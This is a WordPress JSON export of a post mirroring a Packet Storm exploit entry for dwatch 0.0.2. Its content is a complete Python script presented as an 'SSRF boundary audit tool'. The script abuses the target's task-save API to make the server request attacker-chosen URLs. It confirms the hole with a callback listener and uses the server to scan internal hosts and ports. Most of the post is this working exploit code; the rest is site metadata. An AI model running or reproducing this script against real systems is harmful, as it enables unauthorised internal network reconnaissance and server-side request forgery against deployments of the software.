{"id":58920,"date":"2026-06-01T13:52:39","date_gmt":"2026-06-01T13:52:39","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=58920"},"modified":"2026-06-01T13:52:39","modified_gmt":"2026-06-01T13:52:39","slug":"dwatch-002-ssrf-boundary-and-network-isolation-audit-tool","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=58920","title":{"rendered":"\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool_PACKETSTORM:222328"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-01T18:16:39&#8243;,&#8221;description&#8221;:&#8221;This is an auditing tool to analyze server-side request forgery vulnerabilities in dwatch version 0.0.2&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:222328&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool                                                      |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/github.com\/dhjz\/dwatch\/                                                                                  |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : a security utility to test network boundary enforcement and detect potential Server-Side Request Forgery (SSRF) behavior in systems resembling a hypothetical dwatch environment.\\n    \\t\\t\\t\\t \\n    [+] POC        : \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    \\n    import re\\n    import csv\\n    import json\\n    import time\\n    import socket\\n    import logging\\n    import threading\\n    import argparse\\n    import urllib3\\n    from pathlib import Path\\n    from datetime import datetime\\n    from typing import Dict, List, Optional, Tuple\\n    from urllib.parse import urlparse, urljoin\\n    import requests\\n    \\n    logging.basicConfig(level=logging.INFO, format=&#8217;%(asctime)s &#8211; [%(levelname)s] &#8211; %(message)s&#8217;)\\n    logger = logging.getLogger(\\&#8221;DWatchAuditor\\&#8221;)\\n    \\n    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\n    \\n    \\n    class DWatchAuditorCore:\\n        \\&#8221;\\&#8221;\\&#8221;Main engine: Responsible for managing the connection to the dwatch server and checking network restrictions.\\&#8221;\\&#8221;\\&#8221;\\n    \\n        def __init__(self, target: str, callback_host: Optional[str] = None,\\n                     callback_port: int = 8888, verbose: bool = False):\\n    \\n            parsed = urlparse(target if \\&#8221;:\/\/\\&#8221; in target else f\\&#8221;http:\/\/{target}\\&#8221;)\\n            if not parsed.netloc:\\n                raise ValueError(f\\&#8221;Invalid target URL structure: {target}\\&#8221;)\\n    \\n            path = parsed.path if parsed.path else \\&#8221;\\&#8221;\\n            self.base_url = f\\&#8221;{parsed.scheme}:\/\/{parsed.netloc}{path}\\&#8221;.rstrip(\\&#8221;\/\\&#8221;)\\n    \\n            self.callback_host = callback_host\\n            self.callback_port = callback_port\\n            self.verbose = verbose\\n    \\n            self.session = requests.Session()\\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) BoundaryAuditor\/1.0&#8217;,\\n                &#8216;Content-Type&#8217;: &#8216;application\/json&#8217;\\n            })\\n    \\n            self.save_endpoint = urljoin(self.base_url + \\&#8221;\/\\&#8221;, \\&#8221;api\/task\/save\\&#8221;)\\n            self.created_tasks: List[Dict] = []\\n    \\n            self.callback_event = threading.Event()\\n            self.callback_data: List[Dict] = []\\n            self.lock = threading.Lock()\\n    \\n        def _get_local_ip(self) -\\u003e str:\\n            try:\\n                with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:\\n                    s.connect((\\&#8221;8.8.8.8\\&#8221;, 80))\\n                    return s.getsockname()[0]\\n            except Exception:\\n                return \\&#8221;127.0.0.1\\&#8221;\\n    \\n        def create_audit_task(self, name: str, payload_url: str, spec: str = \\&#8221;*\/5 * * * * *\\&#8221;) -\\u003e bool:\\n            payload = {\\&#8221;name\\&#8221;: name, \\&#8221;url\\&#8221;: payload_url, \\&#8221;spec\\&#8221;: spec}\\n    \\n            try:\\n                if self.verbose:\\n                    logger.info(f\\&#8221;Submitting audit payload: {name} -\\u003e {payload_url}\\&#8221;)\\n    \\n                response = self.session.post(self.save_endpoint, json=payload, timeout=10)\\n    \\n                if response.status_code == 200 and response.text:\\n                    logger.info(f\\&#8221;Audit task &#8216;{name}&#8217; registered successfully.\\&#8221;)\\n                    self.created_tasks.append({&#8216;name&#8217;: name, &#8216;url&#8217;: payload_url, &#8216;spec&#8217;: spec})\\n                    return True\\n    \\n                logger.error(f\\&#8221;Failed to create task. HTTP Status: {response.status_code}\\&#8221;)\\n                return False\\n    \\n            except requests.RequestException as e:\\n                logger.error(f\\&#8221;Network transport error during task creation: {e}\\&#8221;)\\n                return False\\n    \\n        def verify_boundary_leak(self) -\\u003e bool:\\n            if not self.callback_host:\\n                self.callback_host = self._get_local_ip()\\n    \\n            timestamp = datetime.now().strftime(\\&#8221;%Y%m%d_%H%M%S\\&#8221;)\\n            callback_url = f\\&#8221;http:\/\/{self.callback_host}:{self.callback_port}\/ssrf_token_{timestamp}\\&#8221;\\n    \\n            logger.info(f\\&#8221;Callback URL: {callback_url}\\&#8221;)\\n            self.callback_event.clear()\\n    \\n            server_thread = threading.Thread(target=self._run_callback_socket)\\n            server_thread.daemon = True\\n            server_thread.start()\\n    \\n            time.sleep(0.5)\\n    \\n            task_name = f\\&#8221;Boundary_Audit_{timestamp}\\&#8221;\\n    \\n            if self.create_audit_task(task_name, callback_url, spec=\\&#8221;* * * * * *\\&#8221;):\\n                logger.info(\\&#8221;Waiting for inbound connection (timeout 12s)&#8230;\\&#8221;)\\n    \\n                triggered = self.callback_event.wait(timeout=12)\\n    \\n                if triggered:\\n                    logger.critical(\\&#8221;SSRF outbound boundary breach confirmed!\\&#8221;)\\n                    self.callback_event.set()\\n                    server_thread.join(timeout=1)\\n                    return True\\n                else:\\n                    logger.warning(\\&#8221;No inbound request captured.\\&#8221;)\\n                    self.callback_event.set()\\n                    server_thread.join(timeout=1)\\n                    return False\\n    \\n            return False\\n    \\n        def _run_callback_socket(self):\\n            server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n            server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n    \\n            try:\\n                server_socket.bind((\\&#8221;0.0.0.0\\&#8221;, self.callback_port))\\n                server_socket.listen(1)\\n                server_socket.settimeout(12)\\n    \\n                while not self.callback_event.is_set():\\n                    try:\\n                        client, addr = server_socket.accept()\\n                        self.callback_event.set()\\n    \\n                        raw_request = client.recv(2048).decode(\\&#8221;utf-8\\&#8221;, errors=\\&#8221;ignore\\&#8221;)\\n    \\n                        with self.lock:\\n                            self.callback_data.append({\\&#8221;sender\\&#8221;: addr, \\&#8221;raw\\&#8221;: raw_request})\\n    \\n                        logger.info(f\\&#8221;Inbound connection from {addr[0]}:{addr[1]}\\&#8221;)\\n    \\n                        try:\\n                            client.sendall(\\n                                b\\&#8221;HTTP\/1.1 200 OK\\\\r\\\\nConnection: close\\\\r\\\\nContent-Length: 0\\\\r\\\\n\\\\r\\\\n\\&#8221;\\n                            )\\n                        finally:\\n                            client.close()\\n    \\n                    except socket.timeout:\\n                        continue\\n    \\n            except Exception as e:\\n                logger.error(f\\&#8221;Callback listener error: {e}\\&#8221;)\\n    \\n            finally:\\n                server_socket.close()\\n    \\n        def check_internal_service(self, host: str, port: int) -\\u003e Dict:\\n            url = f\\&#8221;http:\/\/{host}:{port}\/\\&#8221;\\n            task_name = f\\&#8221;service_recon_{port}_{int(time.time())}\\&#8221;\\n    \\n            success = self.create_audit_task(task_name, url, spec=\\&#8221;*\/5 * * * * *\\&#8221;)\\n    \\n            return {\\n                \\&#8221;port\\&#8221;: port,\\n                \\&#8221;task_accepted\\&#8221;: success,\\n                \\&#8221;inference\\&#8221;: (\\n                    \\&#8221;Task submitted &#8211; requires log verification\\&#8221;\\n                    if success else \\&#8221;Blocked or unreachable endpoint\\&#8221;\\n                )\\n            }\\n    \\n    \\n    class InteractiveConsoleInterface:\\n        \\&#8221;\\&#8221;\\&#8221;User interface\\&#8221;\\&#8221;\\&#8221;\\n    \\n        def __init__(self, auditor: DWatchAuditorCore):\\n            self.auditor = auditor\\n    \\n        def display_menu(self):\\n            while True:\\n                print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221; * 50)\\n                print(\\&#8221;dwatch SSRF Boundary Auditor\\&#8221;)\\n                print(\\&#8221;=\\&#8221; * 50)\\n                print(\\&#8221;1. Run SSRF Test\\&#8221;)\\n                print(\\&#8221;2. Check Internal Port\\&#8221;)\\n                print(\\&#8221;3. Create Task\\&#8221;)\\n                print(\\&#8221;4. View Tasks\\&#8221;)\\n                print(\\&#8221;5. Exit\\&#8221;)\\n    \\n                choice = input(\\&#8221;\\u003e \\&#8221;).strip()\\n    \\n                if choice == \\&#8221;1\\&#8221;:\\n                    self.auditor.verify_boundary_leak()\\n    \\n                elif choice == \\&#8221;2\\&#8221;:\\n                    host = input(\\&#8221;Host: \\&#8221;).strip() or \\&#8221;127.0.0.1\\&#8221;\\n                    try:\\n                        port = int(input(\\&#8221;Port: \\&#8221;).strip())\\n                    except ValueError:\\n                        print(\\&#8221;Invalid port\\&#8221;)\\n                        continue\\n    \\n                    print(json.dumps(self.auditor.check_internal_service(host, port), indent=2))\\n    \\n                elif choice == \\&#8221;3\\&#8221;:\\n                    name = input(\\&#8221;Task name: \\&#8221;).strip()\\n                    url = input(\\&#8221;URL: \\&#8221;).strip()\\n                    self.auditor.create_audit_task(name, url)\\n    \\n                elif choice == \\&#8221;4\\&#8221;:\\n                    print(json.dumps(self.auditor.created_tasks, indent=2))\\n    \\n                elif choice == \\&#8221;5\\&#8221;:\\n                    break\\n    \\n    \\n    def main():\\n        parser = argparse.ArgumentParser()\\n        parser.add_argument(\\&#8221;-t\\&#8221;, \\&#8221;&#8211;target\\&#8221;, required=True)\\n        parser.add_argument(\\&#8221;-c\\&#8221;, \\&#8221;&#8211;callback\\&#8221;)\\n        parser.add_argument(\\&#8221;-i\\&#8221;, \\&#8221;&#8211;interactive\\&#8221;, action=\\&#8221;store_true\\&#8221;)\\n        parser.add_argument(\\&#8221;-v\\&#8221;, \\&#8221;&#8211;verbose\\&#8221;, action=\\&#8221;store_true\\&#8221;)\\n        args = parser.parse_args()\\n    \\n        callback_host = None\\n        callback_port = 8888\\n    \\n        if args.callback:\\n            parts = args.callback.rsplit(\\&#8221;:\\&#8221;, 1)\\n            callback_host = parts[0]\\n            if len(parts) == 2:\\n                callback_port = int(parts[1])\\n    \\n        try:\\n            auditor = DWatchAuditorCore(\\n                target=args.target,\\n                callback_host=callback_host,\\n                callback_port=callback_port,\\n                verbose=args.verbose\\n            )\\n    \\n            if args.interactive:\\n                InteractiveConsoleInterface(auditor).display_menu()\\n            else:\\n                logger.info(\\&#8221;Running SSRF boundary check&#8230;\\&#8221;)\\n                auditor.verify_boundary_leak()\\n    \\n        except Exception as e:\\n            logger.critical(f\\&#8221;Fatal error: {e}\\&#8221;)\\n    \\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/222328&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/222328\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-01T18:16:39&#8243;,&#8221;description&#8221;:&#8221;This is an auditing tool to analyze server-side request forgery vulnerabilities in dwatch version 0.0.2&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:222328&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n |&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-58920","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool_PACKETSTORM:222328 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=58920\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool_PACKETSTORM:222328 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-01T18:16:39&#8243;,&#8221;description&#8221;:&#8221;This is an auditing tool to analyze server-side request forgery vulnerabilities in dwatch version 0.0.2&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:222328&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================n |...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=58920\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-01T13:52:39+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58920#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58920\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool_PACKETSTORM:222328\",\"datePublished\":\"2026-06-01T13:52:39+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58920\"},\"wordCount\":1340,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=58920#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58920\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58920\",\"name\":\"\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool_PACKETSTORM:222328 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-01T13:52:39+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58920#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=58920\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58920#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool_PACKETSTORM:222328\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool_PACKETSTORM:222328 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=58920","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool_PACKETSTORM:222328 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-01T18:16:39&#8243;,&#8221;description&#8221;:&#8221;This is an auditing tool to analyze server-side request forgery vulnerabilities in dwatch version 0.0.2&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:222328&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================n |...","og_url":"https:\/\/zero.redgem.net\/?p=58920","og_site_name":"zero redgem","article_published_time":"2026-06-01T13:52:39+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=58920#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=58920"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool_PACKETSTORM:222328","datePublished":"2026-06-01T13:52:39+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=58920"},"wordCount":1340,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=58920#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=58920","url":"https:\/\/zero.redgem.net\/?p=58920","name":"\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool_PACKETSTORM:222328 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-01T13:52:39+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=58920#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=58920"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=58920#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 dwatch 0.0.2 SSRF Boundary and Network Isolation Audit Tool_PACKETSTORM:222328"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/58920","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=58920"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/58920\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=58920"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=58920"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=58920"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}